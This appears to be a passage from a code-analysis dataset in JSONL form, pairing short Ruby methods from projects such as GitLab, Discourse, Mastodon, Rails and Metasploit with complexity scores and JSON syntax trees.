{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/base_resolver.rb","start_line":100,"raw_source":"def self.last\n      parent = self\n      @last ||= Class.new(single) do\n        type parent.singular_type, null: true\n\n        def select_result(results)\n          results&.last\n        end\n\n        define_singleton_method :to_s do\n          \"#{parent}.last\"\n        end\n      end\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"single\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"singular_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"def\",\"children\":[\"select_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"last\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"to_s\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"str\",\"children\":[\".last\"]}]}]}]}]}]}]}]}","id":"3f5789b6-70d4-4b94-b655-07d567f49d95"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vbulletin.rb","start_line":179,"raw_source":"def import_user_stats\n    puts \"\", \"Importing user stats...\"\n\n    users = mysql_stream <<-SQL\n              SELECT u.userid, joindate, posts, COUNT(t.threadid) AS threads, p.dateline\n                     #{\", post_thanks_user_amount, post_thanks_thanked_times\" if @has_post_thanks}\n                FROM #{TABLE_PREFIX}user u\n     LEFT OUTER JOIN #{TABLE_PREFIX}post p ON p.postid = u.lastpostid\n     LEFT OUTER JOIN #{TABLE_PREFIX}thread t ON u.userid = t.postuserid\n               WHERE u.userid > #{@last_imported_user_id}\n            GROUP BY u.userid\n            ORDER BY u.userid\n    SQL\n\n    create_user_stats(users) do |row|\n      user = {\n        imported_id: row[0],\n        imported_user_id: row[0],\n        new_since: Time.zone.at(row[1]),\n        post_count: row[2],\n        topic_count: row[3],\n        first_post_created_at: row[4] && Time.zone.at(row[4]),\n      }\n\n      if @has_post_thanks\n        user[:likes_given] = row[5]\n        user[:likes_received] = row[6]\n      end\n\n      user\n    end\n  end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing user stats...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"mysql_stream\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"              SELECT u.userid, joindate, posts, COUNT(t.threadid) AS threads, p.dateline\\n\"]},{\"type\":\"str\",\"children\":[\"                     \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_post_thanks\"]},{\"type\":\"str\",\"children\":[\", post_thanks_user_amount, post_thanks_thanked_times\"]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"user u\\n\"]},{\"type\":\"str\",\"children\":[\"     LEFT OUTER JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"post p ON p.postid = u.lastpostid\\n\"]},{\"type\":\"str\",\"children\":[\"     LEFT OUTER JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"thread t ON u.userid = t.postuserid\\n\"]},{\"type\":\"str\",\"children\":[\"               WHERE u.userid > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_imported_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            GROUP BY u.userid\\n\"]},{\"type\":\"str\",\"children\":[\"            ORDER BY u.userid\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_user_stats\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_since\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_post_created_at\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_post_thanks\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"likes_given\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"likes_received\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"201d523a-c116-41b7-85f1-1bc44660927a"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/backup_restore/meta_data_handler_spec.rb","start_line":10,"raw_source":"def with_metadata_file(content)\n    Dir.mktmpdir do |directory|\n      if !content.nil?\n        path = File.join(directory, BackupRestore::MetaDataHandler::METADATA_FILE)\n        File.write(path, content)\n      end\n\n      yield(directory)\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_metadata_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"nil?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"directory\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupRestore\"]},\"MetaDataHandler\"]},\"METADATA_FILE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory\"]}]}]}]}]}","id":"a16f1a89-bff3-45c9-82a3-7c0b9a7a779f"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/method_context.rb","start_line":15,"raw_source":"def initialize(exp, parent_exp)\n        @parent_exp = parent_exp\n        @visibility = :public\n        super(exp)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"arg\",\"children\":[\"parent_exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parent_exp\",{\"type\":\"lvar\",\"children\":[\"parent_exp\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@visibility\",{\"type\":\"sym\",\"children\":[\"public\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]}","id":"1f119d30-e8b1-4923-b6b6-c9a1d29127d8"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/socialcast/test/test_create_title.rb","start_line":62,"raw_source":"def test_create_title_6c\n    body =\n      \"Anyone know of any invite codes for www.greatcheer.io?! (the Great Cheer v2 site of yore)?\\n\\n//cc @RD @GreatCheerThreading\"\n    expected = \"Anyone know of any invite codes for www.greatcheer.io?!\"\n    title = CreateTitle.from_body body\n    assert_equal(expected, title)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_title_6c\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"Anyone know of any invite codes for www.greatcheer.io?! (the Great Cheer v2 site of yore)?\\n\\n//cc @RD @GreatCheerThreading\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"Anyone know of any invite codes for www.greatcheer.io?!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CreateTitle\"]},\"from_body\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}","id":"4d67e900-f929-47e5-81c8-aa084d9ca488"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/filtered_notification_cleanup_worker.rb","start_line":6,"raw_source":"def perform(account_id, from_account_id)\n    Notification.where(account_id: account_id, from_account_id: from_account_id, filtered: true).in_batches(order: :desc).delete_all\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_id\"]},{\"type\":\"arg\",\"children\":[\"from_account_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"lvar\",\"children\":[\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_account_id\"]},{\"type\":\"lvar\",\"children\":[\"from_account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filtered\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"delete_all\"]}]}","id":"7c8dae28-986b-4833-a032-e84141dfc308"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/analytics/analytics_ingester_client.rb","start_line":35,"raw_source":"def post_request(event)\n      connection = Faraday.new(GA_URL) do |conn|\n        conn.request(:url_encoded)\n        conn.adapter(Faraday.default_adapter)\n      end\n      connection.headers[:user_agent] = 'fastlane/' + Fastlane::VERSION\n      connection.post(\"/collect\", {\n        v: \"1\",                                            # API Version\n        tid: @ga_tracking,                                 # Tracking ID / Property ID\n        cid: event[:client_id],                            # Client ID\n        t: \"event\",                                        # Event hit type\n        ec: event[:category],                              # Event category\n        ea: event[:action],                                # Event action\n        el: event[:label] || \"na\",                         # Event label\n        ev: event[:value] || \"0\",                          # Event value\n        aip: \"1\"                                           # IP anonymization\n      })\n    end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"GA_URL\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"request\",{\"type\":\"sym\",\"children\":[\"url_encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"adapter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"default_adapter\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"headers\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"fastlane/\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"post\",{\"type\":\"str\",\"children\":[\"/collect\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"v\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tid\"]},{\"type\":\"ivar\",\"children\":[\"@ga_tracking\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"t\"]},{\"type\":\"str\",\"children\":[\"event\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ea\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"el\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"na\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ev\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aip\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}","id":"54ae3174-eec2-4933-a641-1fa250917734"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_kdc_response.rb","start_line":236,"raw_source":"def decode_srealm(input)\n            input.value[0].value\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_srealm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}","id":"449a1e3b-6ca8-4d09-9225-5d24e4b5bb2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/time_zone_helper.rb","start_line":55,"raw_source":"def local_time(timezone)\n    return if timezone.blank?\n\n    time_zone_instance = local_timezone_instance(timezone)\n    time_zone_instance.now.strftime(\"%-l:%M %p\")\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"local_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timezone\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezone\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"time_zone_instance\",{\"type\":\"send\",\"children\":[null,\"local_timezone_instance\",{\"type\":\"lvar\",\"children\":[\"timezone\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_zone_instance\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%-l:%M %p\"]}]}]}]}","id":"385d1e56-303d-454a-99a4-543a129aa930"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/conversions/bigint_converter.rb","start_line":186,"raw_source":"def create_trigger\n            migration.install_rename_triggers(table, *column_pair)\n          end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_trigger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration\"]},\"install_rename_triggers\",{\"type\":\"send\",\"children\":[null,\"table\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_pair\"]}]}]}]}","id":"e3dde42a-e699-4509-84f2-88a40525c7da"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":74,"raw_source":"def seed_data\n    @seed_data ||= ActiveSupport::HashWithIndifferentAccess.new({})\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@seed_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},\"new\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"c8545b75-f912-43a5-831c-ff8d72c6b2a1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/date_helper.rb","start_line":908,"raw_source":"def set_day_if_discarded\n          if @datetime && @options[:discard_day]\n            @datetime = @datetime.change(day: 1)\n          end\n        end","complexity_score":5.63,"ast_json":"{\"type\":\"def\",\"children\":[\"set_day_if_discarded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"discard_day\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@datetime\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},null]}]}","id":"b49a572b-ed2f-4b47-bad2-295874daa4c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_server_import/importers/notes_importer.rb","start_line":13,"raw_source":"def execute\n          import_notes_individually\n\n          job_waiter\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_notes_individually\"]},{\"type\":\"send\",\"children\":[null,\"job_waiter\"]}]}]}","id":"b91dc934-5070-46a1-aef8-5223bdf45b3e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb","start_line":31,"raw_source":"def active_primary_key\n        @active_primary_key ||= primary_key_provider.encryption_key\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"active_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@active_primary_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_key_provider\"]},\"encryption_key\"]}]}]}","id":"5d54c9c7-7405-4cb7-9568-a734ea416845"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/system_interface.rb","start_line":22,"raw_source":"def enable_readonly_mode\n      return if @readonly_mode_was_enabled\n      log \"Enabling readonly mode...\"\n      Discourse.enable_readonly_mode\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_readonly_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@readonly_mode_was_enabled\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Enabling readonly mode...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"enable_readonly_mode\"]}]}]}","id":"410412d0-8885-4faa-a973-b14c423455d4"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/own_tracks/importer.rb","start_line":35,"raw_source":"def bulk_insert_points(batch)\n    unique_batch = batch.compact.uniq { |record| [record[:lonlat], record[:timestamp], record[:user_id]] }\n\n    # rubocop:disable Rails/SkipsModelValidations\n    Point.upsert_all(\n      unique_batch,\n      unique_by: %i[lonlat timestamp user_id],\n      returning: false,\n      on_duplicate: :skip\n    )\n    # rubocop:enable Rails/SkipsModelValidations\n  rescue StandardError => e\n    ExceptionReporter.call(e, \"Failed to bulk insert OwnTracks points for user #{user_id}: #{e.message}\")\n\n    create_notification(\"Failed to process OwnTracks data: #{e.message}\")\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bulk_insert_points\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unique_batch\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"compact\"]},\"uniq\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lonlat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Point\"]},\"upsert_all\",{\"type\":\"lvar\",\"children\":[\"unique_batch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lonlat\"]},{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_duplicate\"]},{\"type\":\"sym\",\"children\":[\"skip\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExceptionReporter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to bulk insert OwnTracks points for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_notification\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to process OwnTracks data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},null]}]}","id":"36710268-f668-4e24-83d3-183cd85601ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/project_information_menu.rb","start_line":38,"raw_source":"def activity_menu_item\n          ::Sidebars::MenuItem.new(\n            title: _('Activity'),\n            link: activity_project_path(context.project),\n            super_sidebar_parent: ::Sidebars::Projects::SuperSidebarMenus::ManageMenu,\n            active_routes: { path: 'projects#activity' },\n            item_id: :activity,\n            container_html_options: { class: 'shortcuts-project-activity' }\n          )\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"activity_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Activity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"activity_project_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":